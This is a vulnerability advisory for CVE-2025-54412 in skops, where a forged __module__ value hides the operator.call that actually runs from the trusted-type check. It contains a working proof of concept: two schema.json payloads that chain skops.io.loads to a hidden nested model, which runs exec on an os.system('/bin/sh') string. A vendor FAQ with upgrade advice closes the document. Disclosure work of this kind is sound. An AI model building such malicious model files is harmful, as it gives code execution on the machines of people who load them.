CVE-2025-54412

An inconsistency in OperatorFuncNode can be exploited to hide the execution of untrusted operator.xxx methods. This can then be used in a code reuse attack to invoke seemingly safe functions and escalate to arbitrary code execution with minimal and misleading trusted types.

Note: This report focuses on operator.call as it appears to be the most interesting target, but the same technique applies to other operator methods. Moreover, focusing on a specific example is not necessary, the operator.call invocation was a zero-effort choice meant solely to demonstrate the issue. The key point is the inconsistency that allows a user to approve a type as trusted, while in reality enabling the execution of operator.xxx.

Details

The OperatorFuncNode allows calling methods belonging to the operator module and included in a trusted list of methods. However, what is returned by get_untrusted_types and checked during the load call is not exactly the same as what is actually called. Instead, it is something partially controlled by the model author. This means that the user checking the untrusted types can be tricked into thinking something benign is being used, while in reality the operator.xxx method is executed.

Let’s look at the implementation of the OperatorFuncNode:

# from io/_general.py:618-633
class OperatorFuncNode(Node):
    def __init__(
        self,
        state: dict[str, Any],
        load_context: LoadContext,
        trusted: Optional[Sequence[str]] = None,
    ) -> None:
        super().__init__(state, load_context, trusted)
        self.trusted = self._get_trusted(trusted, [])
        self.children["attrs"] = get_tree(state["attrs"], load_context, trusted=trusted)

    def _construct(self):
        op = getattr(operator, self.class_name)
        attrs = self.children["attrs"].construct()
        return op(*attrs)

As you can see, what is called during construction is operator.class_name, where class_name is the value of the "__class__" key in the schema.json file of the model.skops. However, what is returned by get_untrusted_types and checked during load is the concatenation of the __module__ and __class__ keys. Interestingly, __module__ is not used in the construction of the OperatorFuncNode, allowing an attacker to forge a module name that, when concatenated with the __class__ name, seems harmless and related to the model being loaded, while actually calling the operator.class_name function.

For example, an attacker can create a schema.json file with the following content:

{
  "__class__": "call",
  "__module__": "sklearn.linear_model._stochastic_gradient.SGDRegressor",
  "__loader__": "OperatorFuncNode",
  ...
}

What is returned by get_untrusted_types and checked during load is "sklearn.linear_model._stochastic_gradient.SGDRegressor.call", which seems harmless and related to the model being loaded. However, what is actually called during the construction of the OperatorFuncNode is operator.call, which can be used to call arbitrary functions with the provided arguments.

NOTE: There is also the possibility of a collision with a real method ending with .call. If, at some point, the user needs to trust a type like something.somewhere.call, then the attacker can use the same name while actually executing operator.call. This also means that, if at any point skops adds a default trusted element named call, the attacker can use it to execute arbitrary code by invoking operator.call with the provided arguments.

PoC

As an example, to create a model that seems perfectly harmless but allows fully arbitrary code execution, reuse code of the skops.io.loads function from the skops library. This function was chosen because, even though it is not in the default trusted list of skops, it appears perfectly harmless and appropriate in the context of loading a model with skops, hence it is likely to be trusted by users.

In particular, the OperatorFuncNode is combined with the skops.io.loads function to create a model (model.skops) that, when loaded, executes a second model load using another, hidden model zipped into the original model.skops file (hence not visible to the user unless manually unzipped and inspected). The second model is loaded with controlled arguments, allowing the attacker to specify any trusted list, thereby enabling arbitrary code execution.

Zip file structure

The zip file model.skops has the following structure:

model.skops
├── schema.json
├── my-model-evil.skops
    └── schema.json

Payload

The schema.json file of model.skops is as follows:

{
  "__class__": "call",
  "__module__": "sklearn.linear_model._stochastic_gradient.SGDRegressor",
  "__loader__": "OperatorFuncNode",
  "attrs": {
    "__class__": "tuple",
    "__module__": "builtins",
    "__loader__": "TupleNode",
    "content": [
      {
        "__class__": "loads",
        "__module__": "skops.io",
        "__loader__": "TypeNode",
        "__id__": 5
      },
      {
        "__class__": "bytes",
        "__module__": "builtins",
        "__loader__": "BytesNode",
        "file": "my-model-evil.skops",
        "__id__": 6
      },
      {
        "__class__": "list",
        "__module__": "builtins",
        "__loader__": "ListNode",
        "content": [
          {
            "__class__": "str",
            "__module__": "builtins",
            "__loader__": "JsonNode",
            "content": "\"builtins.exec\""
          },
          {
            "__class__": "str",
            "__module__": "builtins",
            "__loader__": "JsonNode",
            "content": "\"sk.call\""
          }
        ]
      }
    ],
    "__id__": 8
  },
  "__id__": 10,
  "protocol": 2,
  "_skops_version": "0.11.0"
}

Inside the zip file model.skops, there is a file my-model-evil.skops with the following content:

{
  "__class__": "call",
  "__module__": "sk",
  "__loader__": "OperatorFuncNode",
  "attrs": {
    "__class__": "tuple",
    "__module__": "builtins",
    "__loader__": "TupleNode",
    "content": [
      {
        "__class__": "exec",
        "__module__": "builtins",
        "__loader__": "TypeNode",
        "__id__": 1
      },
      {
        "__class__": "str",
        "__module__": "builtins",
        "__loader__": "JsonNode",
        "content": "\"import os; os.system('/bin/sh')\"",
        "__id__": 5,
        "is_json": true
      }
    ],
    "__id__": 8
  },
  "__id__": 10,
  "protocol": 2,
  "_skops_version": "0.11.0"
}

Since the first model loads it, the second model is loaded with the attacker-controlled trusted list ["builtins.exec", "sk.call"], allowing execution of the exec function with the provided argument without any further confirmation from the user. In this example, a shell command is executed, but the attacker can modify the payload to execute any arbitrary code.

What is shown when executing the payload

Suppose a user loads the model with the following code:

from skops.io import load, get_untrusted_types

unknown_types = get_untrusted_types(file="model.skops")
print("Unknown types", unknown_types)
input("Press enter to load the model...")
loaded = load("model.skops", trusted=unknown_types)

The output will be:

Unknown types ['sklearn.linear_model._stochastic_gradient.SGDRegressor.call', 'skops.io.loads']
Press enter to load the model...

This shows that the user is tricked into believing the model is safe, with apparently legitimate types like sklearn.linear_model._stochastic_gradient.SGDRegressor.call and skops.io.loads, while in reality, a shell is executed.

This is just one example, but the same technique can be used to execute any arbitrary code with even more misleading names.

Possible Fix

get_untrusted_types and load should verify what is actually called during the construction of the OperatorFuncNode, not just rely on the concatenation of the __module__ and __class__ keys, which do not reflect the true behavior in this case.

Attachments

The complete PoC is available on GitHub at io-no/CVE-2025-54412.

An attacker can exploit this vulnerability by crafting a malicious model file that, when loaded, requests trusted types that are different from those actually executed by the model. Potentially, this can escalate, as shown, to the execution of arbitrary code on the victim’s machine, requiring only the confirmation of a few seemingly safe types. The attack occurs at load time. This is particularly concerning given that skops is often used in collaborative environments and promotes a security-oriented policy.

Kodem intelligence

1. What is CVE-2025-54412? CVE-2025-54412 is a high-severity security vulnerability in skops (pip), affecting versions < 0.12.0. It is fixed in 0.12.0.
2. Which versions of skops are affected by CVE-2025-54412? skops (pip) versions < 0.12.0 is affected.
3. Is there a fix for CVE-2025-54412? Yes. CVE-2025-54412 is fixed in 0.12.0. Upgrade to this version or later.
4. Is CVE-2025-54412 exploitable, and should I be worried? Whether CVE-2025-54412 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2025-54412 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2025-54412? Upgrade skops to 0.12.0 or later.